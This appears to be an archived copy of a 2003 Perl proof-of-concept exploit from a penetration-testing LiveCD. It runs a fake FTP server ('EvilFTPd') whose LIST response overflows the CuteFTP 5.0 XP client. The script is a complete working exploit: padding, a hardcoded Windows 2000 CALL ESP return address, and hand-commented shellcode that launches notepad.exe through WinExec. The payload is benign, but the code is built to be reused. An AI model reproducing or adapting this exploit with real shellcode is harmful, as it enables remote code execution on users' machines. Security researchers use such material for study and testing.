home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / cuteftp / ftpd.pl < prev   
Perl Script  |  2005-02-12  |  3KB  |  106 lines

  1. #!/usr/bin/perl
  2. #
  3. #  Date: 26/03/2003
  4. #  Author: snooq [http://www.angelfire.com/linux/snooq/]
  5. #
  6. #  Basically, this is a fake ftpd that will send out 'overly long' 
  7. #  LIST response to overflow the CuteFTP 5.0 XP client.
  8. #
  9. #  For more info on the bug, read these:
  10. #
  11. #  -> http://www.securityfocus.com/archive/1/307160/2003-02-05/2003-02-11/2
  12. #  -> http://www.securiteam.com/windowsntfocus/5PP0P0U8UU.html
  13. #
  14. #  Notes:
  15. #  ======
  16. #  1. Server's 227 response are hardcoded. (ie IP and data port)
  17. #  2. Payload is harmless 'notepad.exe'.
  18. #
  19. #  Flame or comment, goes to jinyean_at_hotmail_dot_com
  20.  
  21. use Socket;
  22. use FileHandle;
  23.  
  24. my $port=21;
  25. my $data_port=24876;            # 97, 44
  26. my $ret="\xa1\xeb\xe9\x77";        # 0x77e9eba1, CALL ESP, Win2K, kernel32.dll 5.0.2195.1600 
  27. my $shellcode="\x55"            # push ebp 
  28.          ."\x8b\xec"        # mov ebp, esp 
  29.          ."\xb8\x0e\xb5\xe9\x77"    # mov eax, 0x77e9b50e -> WinExec()  
  30.          ."\x33\xf6"        # xor esi, esi
  31.          ."\x56"            # push esi
  32.          ."\x68\x2e\x65\x78\x65"    # push 'exe.'
  33.          ."\x68\x65\x70\x61\x64"    # push 'dape'
  34.          ."\x68\x90\x6e\x6f\x74"    # push 'ton'
  35.          ."\x8d\x7d\xf1"        # lea edi, [ebp-0xf]    
  36.          ."\x57"            # push edi        
  37.          ."\xff\xd0"        # call eax
  38.         #."\xcc";            # int 3 -> breakpoint, for debugging
  39.          ."\x55"            # push ebp 
  40.          ."\x8b\xec"        # mov ebp, esp 
  41.          ."\x33\xf6"        # xor esi, esi
  42.          ."\x56"            # push esi
  43.          ."\xb8\x2d\xf3\xe8\x77"    # mov eax, 0x77e8f32d -> ExitProcess()  
  44.          ."\xff\xd0";        # call eax
  45.     
  46. for ($i=0;$i<256;$i++) {     
  47.     $pad1.="A";
  48. }
  49. for ($i=0;$i<133;$i++) {     
  50.     $pad2.=$ret;
  51. }
  52. for ($i=0;$i<(100-length($shellcode));$i++) {     
  53.     $pad3.="\x90";
  54. }
  55. for ($i=0;$i<900;$i++) {     
  56.     $pad4.="\x90";
  57. }
  58.  
  59. $buff=$pad1.$pad2.$pad3.$shellcode.$pad4;
  60.  
  61. socket(SOCKET1,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
  62. bind(SOCKET1,pack('Sna4x8',AF_INET,$port,"\0\0\0\0")) || die "Can't bind to port $port: $!\n";
  63. listen(SOCKET1,5);
  64.  
  65. socket(SOCKET2,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
  66. bind(SOCKET2,pack('Sna4x8',AF_INET,$data_port,"\0\0\0\0")) || die "Can't bind to port $data_port: $!\n";
  67. listen(SOCKET2,5);
  68.  
  69. NEW_SOCKET1->autoflush();
  70. SOCKET1->autoflush();
  71.  
  72. NEW_SOCKET2->autoflush();
  73. SOCKET2->autoflush();
  74.  
  75. while(1){
  76.     accept(NEW_SOCKET1,SOCKET1);
  77.     print NEW_SOCKET1 "220 Welcome to EvilFTPd 1.0\r\n";
  78.     while(<NEW_SOCKET1>) {
  79.         chomp;
  80.         if (/USER/i) {
  81.             print NEW_SOCKET1 "331 OK\r\n";
  82.         }
  83.         elsif (/PASS/i) {
  84.             print NEW_SOCKET1 "230 OK\r\n";
  85.         }
  86.         elsif (/PASV/i) {
  87.             print NEW_SOCKET1 "227 Entering Passive Mode (192,168,8,8,97,44)\r\n";
  88.         }
  89.         elsif (/LIST/i) {
  90.             if (!($pid=fork)) {    # fork a child to handle data connection
  91.                 while(1) {
  92.                     accept(NEW_SOCKET2,SOCKET2);
  93.                     print NEW_SOCKET2 "$buff";
  94.                 }
  95.             }
  96.             else {
  97.                 print NEW_SOCKET1 "150 OK\r\n";
  98.                 print NEW_SOCKET1 "226 OK\r\n";    
  99.             }
  100.         }
  101.         else {
  102.             print NEW_SOCKET1 "200 OK\r\n";
  103.         }
  104.     }
  105. }
  106.